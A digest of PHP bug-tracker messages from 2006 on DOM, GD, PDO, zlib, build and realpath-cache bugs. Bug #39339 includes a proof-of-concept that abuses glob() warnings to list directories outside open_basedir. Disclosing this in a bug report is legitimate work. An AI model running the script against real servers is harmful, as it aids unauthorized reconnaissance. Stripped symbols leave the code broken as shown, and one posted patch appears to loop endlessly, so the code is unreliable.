#39365 [NEW]: getElementsByTagNameNS() does not return elements in a default namespace
From: z_rules55 at hotmail dot com
Operating system: WinXP Professional
PHP version: 5.2.0
PHP Bug Type: DOM XML related
Bug description: getElementsByTagNameNS() does not return elements in a
default namespace
Description:
Calling getElementsByTagNameNS() on a DOMDocument or a DOMElement does not
return elements that are under a default namespace. The example below finds
$explicit_ns_element, but not $default_ns_element.
Reproduce code:
---
?php
$xml = new DOMDocument();
$namespace = 'my_namespace';
$root = $xml-appendChild($xml-createElementNS($namespace, 'root'));
$default_ns_element = $root-appendChild($xml-createElement('element',
'default_ns_element'));
$explicit_ns_element =
$root-appendChild($xml-createElementNS($namespace, 'element',
'explicit_ns_element'));
foreach($xml-getElementsByTagNameNS($namespace, 'element') as $el) {
echo $el-nodeValue.\n;
}
echo \n;
foreach($root-getElementsByTagNameNS($namespace, 'element') as $el) {
echo $el-nodeValue.\n;
}
?
Expected result:
default_ns_element
explicit_ns_element
default_ns_element
explicit_ns_element
Actual result:
--
explicit_ns_element
explicit_ns_element
--
Edit bug report at http://bugs.php.net/?id=39365edit=1
--
Try a CVS snapshot (PHP 4.4):
http://bugs.php.net/fix.php?id=39365r=trysnapshot44
Try a CVS snapshot (PHP 5.2):
http://bugs.php.net/fix.php?id=39365r=trysnapshot52
Try a CVS snapshot (PHP 6.0):
http://bugs.php.net/fix.php?id=39365r=trysnapshot60
Fixed in CVS: http://bugs.php.net/fix.php?id=39365r=fixedcvs
Fixed in release:
http://bugs.php.net/fix.php?id=39365r=alreadyfixed
Need backtrace: http://bugs.php.net/fix.php?id=39365r=needtrace
Need Reproduce Script:http://bugs.php.net/fix.php?id=39365r=needscript
Try newer version:http://bugs.php.net/fix.php?id=39365r=oldversion
Not developer issue: http://bugs.php.net/fix.php?id=39365r=support
Expected behavior:http://bugs.php.net/fix.php?id=39365r=notwrong
Not enough info:
http://bugs.php.net/fix.php?id=39365r=notenoughinfo
Submitted twice:
http://bugs.php.net/fix.php?id=39365r=submittedtwice
register_globals: http://bugs.php.net/fix.php?id=39365r=globals
PHP 3 support discontinued: http://bugs.php.net/fix.php?id=39365r=php3
Daylight Savings: http://bugs.php.net/fix.php?id=39365r=dst
IIS Stability:http://bugs.php.net/fix.php?id=39365r=isapi
Install GNU Sed: http://bugs.php.net/fix.php?id=39365r=gnused
Floating point limitations: http://bugs.php.net/fix.php?id=39365r=float
No Zend Extensions: http://bugs.php.net/fix.php?id=39365r=nozend
MySQL Configuration Error:http://bugs.php.net/fix.php?id=39365r=mysqlcfg
#39339 [Bgs]: Bug in warning message when glob() function access to unallowed path.
ID: 39339
User updated by: anton dot kirsanov at gmail dot com
Reported By: anton dot kirsanov at gmail dot com
Status: Bogus
Bug Type: Safe Mode/open_basedir
Operating System: ALL
PHP Version: 5.1.6
New Comment:
sorry, this a bug.
if i know a fullpath to files in unallowed directories, i`m must used a
many others php bugs (some curl bug, zlib compress file read bug) for
read unallowed files. this a design bug in security architecture.
Previous Comments:
[2006-11-03 19:40:56] [EMAIL PROTECTED]
Thank you for taking the time to write to us, but this is not
a bug. Please double-check the documentation available at
http://www.php.net/manual/ and the instructions on how to report
a bug at http://bugs.php.net/how-to-report.php
Everytime PHP fails to open a file due to safe_mode/
open_basedir it returns an error saying cannot open so so
due to safe_mode.
You don't gain the ability to write to files and/or open them,
so there is no security issue here.
[2006-11-01 22:30:25] anton dot kirsanov at gmail dot com
Description:
When open_basedir is enabled, glob() function don`t show files in
unallowed directories, however in warning message present file or
directory name that access is denied.
If you recursive parse a warning messages for extract pathes, you a get
listing of unallowed directories (see POC code).
I`m, tested this bug on PHP 5.1.6 and 4.4.4, everywhere the result is
equal.
Reproduce code:
---
?php
// -
// POC by Kirsanov Anton ( anton.kirsanov[at]gmail.com )
//
// Description:
// Bug in warning message for glob() function allow show listing
unallowed directories when open_basedir is enabled.
//
// Risk:
// Possible directory listing, when open_basedir is enabled.
// Testing on PHP 4.4.4, 5.1.6.
error_reporting(E_ALL);
ini_set(display_errors, 0);
ini_set(track_errors, 1);
if(!ini_get('open_basedir'))
die('open_basedir not present');
$chars =
._-1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ;
$z = array();
get_c(/, $z);
// show contents of root directory
print_r($z);
function get_c($path, $o)
{
global $chars;
for($i=0; $i strlen($chars); $i++)
{
$p = $path . $chars[$i];
$r = glob($p . *);
if(!$r $php_errormsg)
{
if((preg_match(/open\_basedir restriction
in effect\.
File\((.*)\) is/iU, $php_errormsg, $t) ||
preg_match(/is not allowed to access
(.*) owned/iU,
$php_errormsg, $t)) !$o[$t[1]])
{
$o[$t[1]] = $t[2];
get_c($p, $o);
}
}
}
}
?
Expected result:
?php
glob(/*);
?
Warning: glob(): open_basedir restriction in effect.
is not allowed to access (/) owned ...
Actual result:
--
?php
glob(/*);
?
Warning: glob(): open_basedir restriction in effect.
is not allowed to access (/bin/) owned ...
Warning message has been disclose path - /bin/
--
Edit this bug report at http://bugs.php.net/?id=39339edit=1
#39365 [Opn]: getElementsByTagNameNS() does not return elements in a default namespace
ID: 39365
User updated by: z_rules55 at hotmail dot com
Reported By: z_rules55 at hotmail dot com
Status: Open
Bug Type: DOM XML related
Operating System: WinXP Professional
PHP Version: 5.2.0
New Comment:
Additional note: getElementsByTagName('element') does, in fact, find
both nodes.
Previous Comments:
[2006-11-03 21:12:54] z_rules55 at hotmail dot com
Description:
Calling getElementsByTagNameNS() on a DOMDocument or a DOMElement does
not return elements that are under a default namespace. The example
below finds $explicit_ns_element, but not $default_ns_element.
Reproduce code:
---
?php
$xml = new DOMDocument();
$namespace = 'my_namespace';
$root = $xml-appendChild($xml-createElementNS($namespace, 'root'));
$default_ns_element = $root-appendChild($xml-createElement('element',
'default_ns_element'));
$explicit_ns_element =
$root-appendChild($xml-createElementNS($namespace, 'element',
'explicit_ns_element'));
foreach($xml-getElementsByTagNameNS($namespace, 'element') as $el) {
echo $el-nodeValue.\n;
}
echo \n;
foreach($root-getElementsByTagNameNS($namespace, 'element') as $el) {
echo $el-nodeValue.\n;
}
?
Expected result:
default_ns_element
explicit_ns_element
default_ns_element
explicit_ns_element
Actual result:
--
explicit_ns_element
explicit_ns_element
--
Edit this bug report at http://bugs.php.net/?id=39365edit=1
#38867 [Com]: configure: error: cannot find output from lex; giving up
ID: 38867 Comment by: ac_sweeney at yahoo dot co dot uk Reported By: lucied21 at hotmail dot com Status: No Feedback Bug Type: Compile Failure Operating System: Fedora Core PHP Version: 5.1.6 New Comment: I have the same problem, with ubuntu 06.06 doesn't have lex installed, when I do an apt-cache search for lex about 60 programs come back but I do not know what program to install to fix this Previous Comments: [2006-09-26 01:00:00] php-bugs at lists dot php dot net No feedback was provided for this bug for over a week, so it is being suspended automatically. If you are able to provide the information that was originally requested, please do so and change the status of the bug back to Open. [2006-09-18 15:00:46] [EMAIL PROTECTED] What do you get with `which lex`, `lex --version` ? [2006-09-18 14:53:06] lucied21 at hotmail dot com Description: I wanna know how to configure this PHP in my system Fedora Core. I have installed flex, bison already in my system. Reproduce code: --- # ./configure --with-apxs2=/usr/local/apache2/bin/apxs loading cache ./config.cache checking for Cygwin environment... no checking for mingw32 environment... no checking for egrep... grep -E checking for a sed that does not truncate output... /bin/sed checking host system type... i686-pc-linux-gnu checking target system type... i686-pc-linux-gnu checking for gcc... gcc checking whether the C compiler (gcc ) works... yes checking whether the C compiler (gcc ) is a cross-compiler... no checking whether we are using GNU C... yes checking whether gcc accepts -g... yes checking whether gcc and cc understand -c and -o together... yes checking how to run the C preprocessor... gcc -E checking for AIX... no checking whether ln -s works... yes checking if compiler supports -R... no checking if compiler supports -Wl,-rpath,... yes checking for re2c... no configure: warning: You will need re2c 0.9.11 or later if you want to regenerate PHP parsers. checking for gawk... gawk checking for bison... bison -y checking for bison version... 2.3 (ok) checking for flex... lex checking for yywrap in -ll... no checking lex output file root... ./configure: line 3246: lex: command not found configure: error: cannot find output from lex; giving up Expected result: i can make or make install PHP Actual result: -- Error and warnings... -- Edit this bug report at http://bugs.php.net/?id=38867edit=1
#39366 [NEW]: imagerotate preserve alpha channel only if degree less then 45
From: ciakana at gmail dot com
Operating system: Windows XP
PHP version: 5.2.0
PHP Bug Type: GD related
Bug description: imagerotate preserve alpha channel only if degree less then 45
Description:
If I run the allegated script, where shade.png is a png image with a
transparent background (full alpha channel), all works if the degrees are
less then 45. If I set the degrees to 300, for example, the background
become black.
Reproduce code:
---
?php
$filename=shade.png;
$degrees =300;
header('Content-type: image/png');
$source = imagecreatefrompng($filename);
$rotate = imagerotate($source, $degrees, -1);
imagealphablending($rotate, true);
imagesavealpha($rotate, true);
imagepng($rotate);
?
Expected result:
An image with a black bakground
Actual result:
--
A rotated copy of the original image with the alpha channel preserved
--
Edit bug report at http://bugs.php.net/?id=39366edit=1
--
Try a CVS snapshot (PHP 4.4):
http://bugs.php.net/fix.php?id=39366r=trysnapshot44
Try a CVS snapshot (PHP 5.2):
http://bugs.php.net/fix.php?id=39366r=trysnapshot52
Try a CVS snapshot (PHP 6.0):
http://bugs.php.net/fix.php?id=39366r=trysnapshot60
Fixed in CVS: http://bugs.php.net/fix.php?id=39366r=fixedcvs
Fixed in release:
http://bugs.php.net/fix.php?id=39366r=alreadyfixed
Need backtrace: http://bugs.php.net/fix.php?id=39366r=needtrace
Need Reproduce Script:http://bugs.php.net/fix.php?id=39366r=needscript
Try newer version:http://bugs.php.net/fix.php?id=39366r=oldversion
Not developer issue: http://bugs.php.net/fix.php?id=39366r=support
Expected behavior:http://bugs.php.net/fix.php?id=39366r=notwrong
Not enough info:
http://bugs.php.net/fix.php?id=39366r=notenoughinfo
Submitted twice:
http://bugs.php.net/fix.php?id=39366r=submittedtwice
register_globals: http://bugs.php.net/fix.php?id=39366r=globals
PHP 3 support discontinued: http://bugs.php.net/fix.php?id=39366r=php3
Daylight Savings: http://bugs.php.net/fix.php?id=39366r=dst
IIS Stability:http://bugs.php.net/fix.php?id=39366r=isapi
Install GNU Sed: http://bugs.php.net/fix.php?id=39366r=gnused
Floating point limitations: http://bugs.php.net/fix.php?id=39366r=float
No Zend Extensions: http://bugs.php.net/fix.php?id=39366r=nozend
MySQL Configuration Error:http://bugs.php.net/fix.php?id=39366r=mysqlcfg
#39366 [Opn]: imagerotate preserve alpha channel only if degree less then 45
ID: 39366
User updated by: ciakana at gmail dot com
Reported By: ciakana at gmail dot com
Status: Open
Bug Type: GD related
Operating System: Windows XP
PHP Version: 5.2.0
New Comment:
Description:
If I run the allegated script, where shade.png is a png image with a
transparent background (full alpha channel), all works if the degrees
are less then 45. If I set the degrees to 300, for example, the
background become black.
Reproduce code:
---
?php
$filename=shade.png;
$degrees =300;
header('Content-type: image/png');
$source = imagecreatefrompng($filename);
$rotate = imagerotate($source, $degrees, -1);
imagealphablending($rotate, true);
imagesavealpha($rotate, true);
imagepng($rotate);
?
Expected result:
A rotated copy of the original image with the alpha channel preserved
Actual result:
--
An image with a black bakground
Previous Comments:
[2006-11-03 22:16:43] ciakana at gmail dot com
Description:
If I run the allegated script, where shade.png is a png image with a
transparent background (full alpha channel), all works if the degrees
are less then 45. If I set the degrees to 300, for example, the
background become black.
Reproduce code:
---
?php
$filename=shade.png;
$degrees =300;
header('Content-type: image/png');
$source = imagecreatefrompng($filename);
$rotate = imagerotate($source, $degrees, -1);
imagealphablending($rotate, true);
imagesavealpha($rotate, true);
imagepng($rotate);
?
Expected result:
An image with a black bakground
Actual result:
--
A rotated copy of the original image with the alpha channel preserved
--
Edit this bug report at http://bugs.php.net/?id=39366edit=1
#39331 [Bgs]: prepare crash without any error
ID: 39331
User updated by: guidi dot luca at gmail dot com
Reported By: guidi dot luca at gmail dot com
Status: Bogus
Bug Type: PDO related
Operating System: Linux 2.6.16.13-4-smp oSuSE10.1
PHP Version: 5CVS-2006-11-01 (snap)
New Comment:
Sorry for bad reporting, but non-object is $stmt not $pdo.
If i try:
$pdo = new PDO(mysql:host=localhost;dbname=myDb,myUser,myPass);
$sql = 'select username from users where id = 1';
foreach ($pdo-query($sql) as $row) {
// some code here
}
I not get the problem, so probably the issue is prepare function.
Previous Comments:
[2006-11-03 20:18:14] [EMAIL PROTECTED]
Thank you for taking the time to write to us, but this is not
a bug. Please double-check the documentation available at
http://www.php.net/manual/ and the instructions on how to report
a bug at http://bugs.php.net/how-to-report.php
PDO class failed to instantiate (connection failed) so you
don't have a PDO object. Calling methods from a non-object
results in a fatal error.
[2006-11-01 13:38:17] guidi dot luca at gmail dot com
Description:
PDO prepare function crash but don't display any error.
i use:
PDO Driver for MySQL, client library version5.0.18
Reproduce code:
---
$pdo = new PDO(mysql:host=localhost;dbname=myDb,myUser,myPass);
$stmt = $pdo-prepare('select username from users where id = ?');
$stmt-execute( array(123) );
$results = $stmt-fetchAll();
Expected result:
A statement execution
Actual result:
--
Fatal error: Call to a member function execute() on a non-object in
/srv/www/htdocs/index.php on line 21
--
Edit this bug report at http://bugs.php.net/?id=39331edit=1
#39367 [NEW]: symbolic links should not be inserted into the realpath cache
From: j at pureftpd dot org
Operating system: Any
PHP version: 5.2.0
PHP Bug Type: Filesystem function related
Bug description: symbolic links should not be inserted into the realpath cache
Description:
realpath() on a symlink returns the final file the link
points to.
Caching symbolic links through the realpath cache can cause
unexpected behaviors.
Here's a fix against PHP 5.2.0
--- TSRM/tsrm_virtual_cwd.c.origSat Nov 4 00:56:05
2006
+++ TSRM/tsrm_virtual_cwd.c Sat Nov 4 00:58:03 2006
@@ -562,7 +562,11 @@
}
if (use_realpath CWDG(realpath_cache_size_limit))
{
- realpath_cache_add(path, path_length, state-
cwd, state-cwd_length, t TSRMLS_CC);
+ struct stat buf;
+
+ if (lstat(path, buf) == 0 !S_ISLNK
(buf.st_mode)) { +
realpath_cache_add(path, path_length, state-cwd, state-
cwd_length, t TSRMLS_CC);
+ }
}
if (verify_path verify_path(state)) {
Reproduce code:
---
See bug #36555, or that code :
?php
@unlink('/tmp/1link');
@unlink('/tmp/1tmp');
@unlink('/tmp/testfile1');
file_put_contents('/tmp/testfile1', '42');
symlink('/tmp/testfile1', '/tmp/1tmp');
rename('/tmp/1tmp', '/tmp/1link');
$a = file_get_contents('/tmp/1link');
var_dump($a);
unlink('/tmp/1link');
clearstatcache();
$a = file_get_contents('/tmp/1link');
var_dump($a);
?
Expected result:
The second file_get_contents() should fail because /tmp/1link
has been unlinked.
But it doesn't.
Actual result:
--
42
42
--
Edit bug report at http://bugs.php.net/?id=39367edit=1
--
Try a CVS snapshot (PHP 4.4):
http://bugs.php.net/fix.php?id=39367r=trysnapshot44
Try a CVS snapshot (PHP 5.2):
http://bugs.php.net/fix.php?id=39367r=trysnapshot52
Try a CVS snapshot (PHP 6.0):
http://bugs.php.net/fix.php?id=39367r=trysnapshot60
Fixed in CVS: http://bugs.php.net/fix.php?id=39367r=fixedcvs
Fixed in release:
http://bugs.php.net/fix.php?id=39367r=alreadyfixed
Need backtrace: http://bugs.php.net/fix.php?id=39367r=needtrace
Need Reproduce Script:http://bugs.php.net/fix.php?id=39367r=needscript
Try newer version:http://bugs.php.net/fix.php?id=39367r=oldversion
Not developer issue: http://bugs.php.net/fix.php?id=39367r=support
Expected behavior:http://bugs.php.net/fix.php?id=39367r=notwrong
Not enough info:
http://bugs.php.net/fix.php?id=39367r=notenoughinfo
Submitted twice:
http://bugs.php.net/fix.php?id=39367r=submittedtwice
register_globals: http://bugs.php.net/fix.php?id=39367r=globals
PHP 3 support discontinued: http://bugs.php.net/fix.php?id=39367r=php3
Daylight Savings: http://bugs.php.net/fix.php?id=39367r=dst
IIS Stability:http://bugs.php.net/fix.php?id=39367r=isapi
Install GNU Sed: http://bugs.php.net/fix.php?id=39367r=gnused
Floating point limitations: http://bugs.php.net/fix.php?id=39367r=float
No Zend Extensions: http://bugs.php.net/fix.php?id=39367r=nozend
MySQL Configuration Error:http://bugs.php.net/fix.php?id=39367r=mysqlcfg
#39353 [Asn-Bgs]: more imagecopyresized() alpha problems
ID: 39353
Updated by: [EMAIL PROTECTED]
Reported By: seth at pricepages dot org
-Status: Assigned
+Status: Bogus
Bug Type: GD related
Operating System: Mac 10.4
PHP Version: 5CVS-2006-11-02 (snap)
Assigned To: pajoye
New Comment:
But if the alpha blending is set to false, you want to copy
the transparent pixels.
No, you do not want. Alpha channel and transparent color are two
different things. Alpha blending works with the alpha channel not with
the transparent color.
I closed this bug (bogus), reopen it if you think that I misunderstood
your problem.
Previous Comments:
[2006-11-03 00:23:48] seth at pricepages dot org
Description:
I'm not sure how many bugs are hidden here, but I thought
this should be submitted.
imagecopyresized() is ignoring alpha the blending mode.
Specifically, in ext/gd/libgd/gd.c line 2376 or so, there is
this code that skips processing transparent pixels:
tmp = gdImageGetPixel (src, x, y);
if (gdImageGetTransparent (src) == tmp) {
tox += stx[x - srcX];
continue;
}
But if the alpha blending is set to false, you want to copy
the transparent pixels. So commenting out this if statement
removes one bug. There is other similar code in this loop,
so maybe it should all be removed?
Unfortunately, all result pixels still opaque, when the
source image pixels are partially transparent. So this code
does not fix the problem.
Reproduce code:
---
?php
$small = imagecreatefrompng(
'http://pricepages.org/temp/partialTrans.png');
$width = 300;
$height = 300;
$srcW = imagesx($small);
$srcH = imagesy($small);
$img = imagecreatetruecolor($width, $height);
$red = imagecolorresolve($img,255,0,0);
imagefill($img, 0,0, $red);
imagealphablending($img, false);
imagecopyresized($img, $small, 0,0, 0,0, $width, $height, $srcW,
$srcH);
header('Content-Type: image/png');
imagepng($img);
?
Expected result:
The image is filled with red, and a partially transparent
black-and-white image is composited on top of it. Because
alpha blending is set to false, there should be no red showing
in the final image. (bug#1, squashed above)
Also, because the greyscale image should have partial
transparency, there should be a gradient between black and
red, but there is none. It is only black or only red. (bug#2)
--
Edit this bug report at http://bugs.php.net/?id=39353edit=1
#39353 [Bgs]: more imagecopyresized() alpha problems
ID: 39353
User updated by: seth at pricepages dot org
Reported By: seth at pricepages dot org
Status: Bogus
Bug Type: GD related
Operating System: Mac 10.4
PHP Version: 5CVS-2006-11-02 (snap)
Assigned To: pajoye
New Comment:
Well, you can tell me what I'm doing wrong then. I have a
source image with fully transparent pixels. I would like to
copy it over another image, so the final image has fully
transparent pixels.
To do this, I set imagealphablending() to false, and I copy
via imagecopyresized(). But no fully transparent pixels are
copied.
Your statement does not address the second bug that I
mentioned.
Previous Comments:
[2006-11-04 00:17:25] [EMAIL PROTECTED]
But if the alpha blending is set to false, you want to copy
the transparent pixels.
No, you do not want. Alpha channel and transparent color are two
different things. Alpha blending works with the alpha channel not with
the transparent color.
I closed this bug (bogus), reopen it if you think that I misunderstood
your problem.
[2006-11-03 00:23:48] seth at pricepages dot org
Description:
I'm not sure how many bugs are hidden here, but I thought
this should be submitted.
imagecopyresized() is ignoring alpha the blending mode.
Specifically, in ext/gd/libgd/gd.c line 2376 or so, there is
this code that skips processing transparent pixels:
tmp = gdImageGetPixel (src, x, y);
if (gdImageGetTransparent (src) == tmp) {
tox += stx[x - srcX];
continue;
}
But if the alpha blending is set to false, you want to copy
the transparent pixels. So commenting out this if statement
removes one bug. There is other similar code in this loop,
so maybe it should all be removed?
Unfortunately, all result pixels still opaque, when the
source image pixels are partially transparent. So this code
does not fix the problem.
Reproduce code:
---
?php
$small = imagecreatefrompng(
'http://pricepages.org/temp/partialTrans.png');
$width = 300;
$height = 300;
$srcW = imagesx($small);
$srcH = imagesy($small);
$img = imagecreatetruecolor($width, $height);
$red = imagecolorresolve($img,255,0,0);
imagefill($img, 0,0, $red);
imagealphablending($img, false);
imagecopyresized($img, $small, 0,0, 0,0, $width, $height, $srcW,
$srcH);
header('Content-Type: image/png');
imagepng($img);
?
Expected result:
The image is filled with red, and a partially transparent
black-and-white image is composited on top of it. Because
alpha blending is set to false, there should be no red showing
in the final image. (bug#1, squashed above)
Also, because the greyscale image should have partial
transparency, there should be a gradient between black and
red, but there is none. It is only black or only red. (bug#2)
--
Edit this bug report at http://bugs.php.net/?id=39353edit=1
#39368 [NEW]: Preset Dictionary support is missing
From: rob at wyrick dot org Operating system: Irrelevant PHP version: 5.2.0 PHP Bug Type: Zlib Related Bug description: Preset Dictionary support is missing Description: zlib allows you to specify dictionaries to be used while inflating or deflating. The php APIs are lacking this functionality. Properly picked dictionaries can VASTLY improve your compression ratio. My company is doing this, but I can't use PHP to access the database due to this missing feature in PHP's zlib API. -- Edit bug report at http://bugs.php.net/?id=39368edit=1 -- Try a CVS snapshot (PHP 4.4): http://bugs.php.net/fix.php?id=39368r=trysnapshot44 Try a CVS snapshot (PHP 5.2): http://bugs.php.net/fix.php?id=39368r=trysnapshot52 Try a CVS snapshot (PHP 6.0): http://bugs.php.net/fix.php?id=39368r=trysnapshot60 Fixed in CVS: http://bugs.php.net/fix.php?id=39368r=fixedcvs Fixed in release: http://bugs.php.net/fix.php?id=39368r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=39368r=needtrace Need Reproduce Script:http://bugs.php.net/fix.php?id=39368r=needscript Try newer version:http://bugs.php.net/fix.php?id=39368r=oldversion Not developer issue: http://bugs.php.net/fix.php?id=39368r=support Expected behavior:http://bugs.php.net/fix.php?id=39368r=notwrong Not enough info: http://bugs.php.net/fix.php?id=39368r=notenoughinfo Submitted twice: http://bugs.php.net/fix.php?id=39368r=submittedtwice register_globals: http://bugs.php.net/fix.php?id=39368r=globals PHP 3 support discontinued: http://bugs.php.net/fix.php?id=39368r=php3 Daylight Savings: http://bugs.php.net/fix.php?id=39368r=dst IIS Stability:http://bugs.php.net/fix.php?id=39368r=isapi Install GNU Sed: http://bugs.php.net/fix.php?id=39368r=gnused Floating point limitations: http://bugs.php.net/fix.php?id=39368r=float No Zend Extensions: http://bugs.php.net/fix.php?id=39368r=nozend MySQL Configuration Error:http://bugs.php.net/fix.php?id=39368r=mysqlcfg
#39367 [Opn]: Entries from the realpath cache should be refreshed after unlink() and rename()
ID: 39367
User updated by: j at pureftpd dot org
-Summary: symbolic links should not be inserted into the
realpath cache
Reported By: j at pureftpd dot org
Status: Open
Bug Type: Filesystem function related
Operating System: Any
PHP Version: 5.2.0
New Comment:
I think the real bug is that unlink(), rename() and rmdir()
don't refresh the related realpath cache entries.
Here's a patch that fixes this, also available from ftp://
ftp.c9x.org/misc/
php_sync_realpath_cache_with_unlink_and_rename.diff
--- TSRM/tsrm_virtual_cwd.c.origSat Nov 4 00:56:05
2006
+++ TSRM/tsrm_virtual_cwd.c Sat Nov 4 02:53:13 2006
@@ -361,6 +361,23 @@
}
+CWD_API int realpath_cache_delete(const char *path, int
path_len) {
+ unsigned long key = realpath_cache_key(path,
path_len);
+ unsigned long n = key % (sizeof(CWDG
(realpath_cache)) / sizeof(CWDG(realpath_cache)[0]));
+ realpath_cache_bucket **bucket = CWDG
(realpath_cache)[n];
+
+ while (*bucket != NULL) {
+ if (key == (*bucket)-key path_len ==
(*bucket)-path_len
+ memcmp(path, (*bucket)-path,
path_len) == 0) {
+ realpath_cache_bucket *r = *bucket;
+ *bucket = (*bucket)-next;
+ CWDG(realpath_cache_size) -= sizeof
(realpath_cache_bucket) + r-path_len + 1 + r-realpath_len
+ 1;
+ free(r);
+ }
+ }
+ return 0;
+}
+
/* Resolve path relatively to state and put the real path
into state */
/* returns 0 for ok, 1 for error */
CWD_API int virtual_file_ex(cwd_state *state, const char
*path, verify_path_func verify_path, int use_realpath)
--- TSRM/tsrm_virtual_cwd.h.origSat Nov 4 02:39:04
2006
+++ TSRM/tsrm_virtual_cwd.h Sat Nov 4 02:48:04 2006
@@ -232,14 +232,14 @@
#define VCWD_CHDIR_FILE(path) virtual_chdir_file(path,
virtual_chdir TSRMLS_CC)
#define VCWD_GETWD(buf)
#define VCWD_REALPATH(path, real_path) virtual_realpath
(path, real_path TSRMLS_CC)
-#define VCWD_RENAME(oldname, newname) virtual_rename
(oldname, newname TSRMLS_CC)
+#define VCWD_RENAME(oldname, newname) (virtual_rename
(oldname, newname TSRMLS_CC) + realpath_cache_delete
(oldname, strlen(oldname)) + realpath_cache_delete(newname,
strlen(newname)))
#define VCWD_STAT(path, buff) virtual_stat(path, buff
TSRMLS_CC)
#if !defined(TSRM_WIN32)
#define VCWD_LSTAT(path, buff) virtual_lstat(path, buff
TSRMLS_CC)
#endif
-#define VCWD_UNLINK(path) virtual_unlink(path TSRMLS_CC)
+#define VCWD_UNLINK(path) (virtual_unlink(path TSRMLS_CC) +
realpath_cache_delete(path, strlen(path)))
#define VCWD_MKDIR(pathname, mode) virtual_mkdir(pathname,
mode TSRMLS_CC)
-#define VCWD_RMDIR(pathname) virtual_rmdir(pathname
TSRMLS_CC)
+#define VCWD_RMDIR(pathname) (virtual_rmdir(pathname
TSRMLS_CC) + realpath_cache_delete(pathname, strlen
(pathname)))
#define VCWD_OPENDIR(pathname) virtual_opendir(pathname
TSRMLS_CC)
#define VCWD_POPEN(command, type) virtual_popen(command,
type TSRMLS_CC)
#define VCWD_ACCESS(pathname, mode) virtual_access
(pathname, mode TSRMLS_CC)
@@ -261,15 +261,15 @@
#define VCWD_OPEN(path, flags) open(path, flags)
#define VCWD_OPEN_MODE(path, flags, mode) open(path,
flags, mode)
#define VCWD_CREAT(path, mode) creat(path, mode)
-#define VCWD_RENAME(oldname, newname) rename(oldname,
newname)
+#define VCWD_RENAME(oldname, newname) (rename(oldname,
newname) + realpath_cache_delete(oldname, strlen(oldname)) +
realpath_cache_delete(newname, strlen(newname)))
#define VCWD_CHDIR(path) chdir(path)
#define VCWD_CHDIR_FILE(path) virtual_chdir_file(path,
chdir)
#define VCWD_GETWD(buf) getwd(buf)
#define VCWD_STAT(path, buff) stat(path, buff)
#define VCWD_LSTAT(path, buff) lstat(path, buff)
-#define VCWD_UNLINK(path) unlink(path)
+#define VCWD_UNLINK(path) (unlink(path) +
realpath_cache_delete(path, strlen(path)))
#define VCWD_MKDIR(pathname, mode) mkdir(pathname, mode)
-#define VCWD_RMDIR(pathname) rmdir(pathname)
+#define VCWD_RMDIR(pathname) (rmdir(pathname) +
realpath_cache_delete(pathname, strlen(pathname)))
#define VCWD_OPENDIR(pathname) opendir(pathname)
#define VCWD_POPEN(command, type) popen(command, type)
#if defined(TSRM_WIN32)
Previous Comments:
[2006-11-04 00:09:00] j at pureftpd dot org
Description:
realpath() on a symlink returns the final file the link
points to.
Caching symbolic links through the realpath cache can cause
unexpected behaviors.
Here's a fix against PHP 5.2.0
--- TSRM/tsrm_virtual_cwd.c.origSat Nov 4 00:56:05
2006
+++ TSRM/tsrm_virtual_cwd.c Sat Nov 4 00:58:03 2006
@@ -562,7 +562,11 @@
}
if (use_realpath CWDG(realpath_cache_size_limit))
{
- realpath_cache_add(path, path_length, state-
cwd, state-cwd_length, t TSRMLS_CC);
+
#39273 [Bgs-Csd]: imagecopyresized() not compatable with alpha channel
ID: 39273 Updated by: [EMAIL PROTECTED] Reported By: seth at pricepages dot org -Status: Bogus +Status: Closed Bug Type: GD related Operating System: Mac 10.4 PHP Version: 5.1.6 Assigned To: pajoye New Comment: It will be available in 5.2.1 or later. Thanks for the reproduce script. Previous Comments: [2006-10-28 15:26:28] seth at pricepages dot org I'm American; if I'm exposed to more than one language my head explodes. ;) Yep, that image is exactly what I'm looking for. Thanks for not just ignoring me after marking the bug bogus, I've had that happen also... [2006-10-28 15:14:41] [EMAIL PROTECTED] Sorry for my bad wording (images speak better), but we are getting somewhere, finally. We were talking of two different problems. I was talking about a common misunderstanding and you about a more specific problem. Thanks to have insisted and nice catch :) Check this image: http://blog.thepimp.net/misc/39273_out.png Is it what you expect? [2006-10-28 14:43:21] seth at pricepages dot org translucide (French) = translucent (English) Sorry, that confused me for a bit. Boolean transparency means that the pixel is either fully transparent, or fully opaque. Never partially transparent. The area outside of the line is fine, it should be transparent and it is in your image. This is correct. What is suffering from boolean transparency are the edges of the line. For example: In your example script, one alpha value was 63, and the other was 127. In your output PNG, those values have been changed to 0 and 127. I should mention that if you are using Microsoft's Internet Explorer version 6 or less, a PNG image will display with boolean transparency due to a bug in the browser. So you won't be able to see the difference. Use FireFox. [2006-10-28 14:19:46] [EMAIL PROTECTED] Pardon? What is a boolean transparency? Please understand these three things: - The transparent color is one *color*, an index for palette based image or 32bits value for truecolor images. It defines which color is used as the *background* color (like white is the background color of a white paper). - The *alpha* channel of a pixel defines how translucide the pixel has to be. It has nothing to do with the transparent color. - Your image has *no* transparent color but many pixels with various *alpha* levels. Load the result images in your favourite paint programs to see what I mean. The area outside the line is translucide, it is due to the alpha channel. [2006-10-28 14:11:56] seth at pricepages dot org But that has one of the bugs that I pointed out: boolean transparency. The original doesn't have that problem. The remainder of the comments for this report are too long. To view the rest of the comments, please view the bug report online at http://bugs.php.net/39273 -- Edit this bug report at http://bugs.php.net/?id=39273edit=1
#39366 [Opn-Csd]: imagerotate preserve alpha channel only if degree less then 45
ID: 39366
Updated by: [EMAIL PROTECTED]
Reported By: ciakana at gmail dot com
-Status: Open
+Status: Closed
Bug Type: GD related
Operating System: Windows XP
PHP Version: 5.2.0
-Assigned To:
+Assigned To: pajoye
New Comment:
This bug has been fixed in CVS.
Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.
Thank you for the report, and for helping us make PHP better.
Previous Comments:
[2006-11-03 22:18:02] ciakana at gmail dot com
Description:
If I run the allegated script, where shade.png is a png image with a
transparent background (full alpha channel), all works if the degrees
are less then 45. If I set the degrees to 300, for example, the
background become black.
Reproduce code:
---
?php
$filename=shade.png;
$degrees =300;
header('Content-type: image/png');
$source = imagecreatefrompng($filename);
$rotate = imagerotate($source, $degrees, -1);
imagealphablending($rotate, true);
imagesavealpha($rotate, true);
imagepng($rotate);
?
Expected result:
A rotated copy of the original image with the alpha channel preserved
Actual result:
--
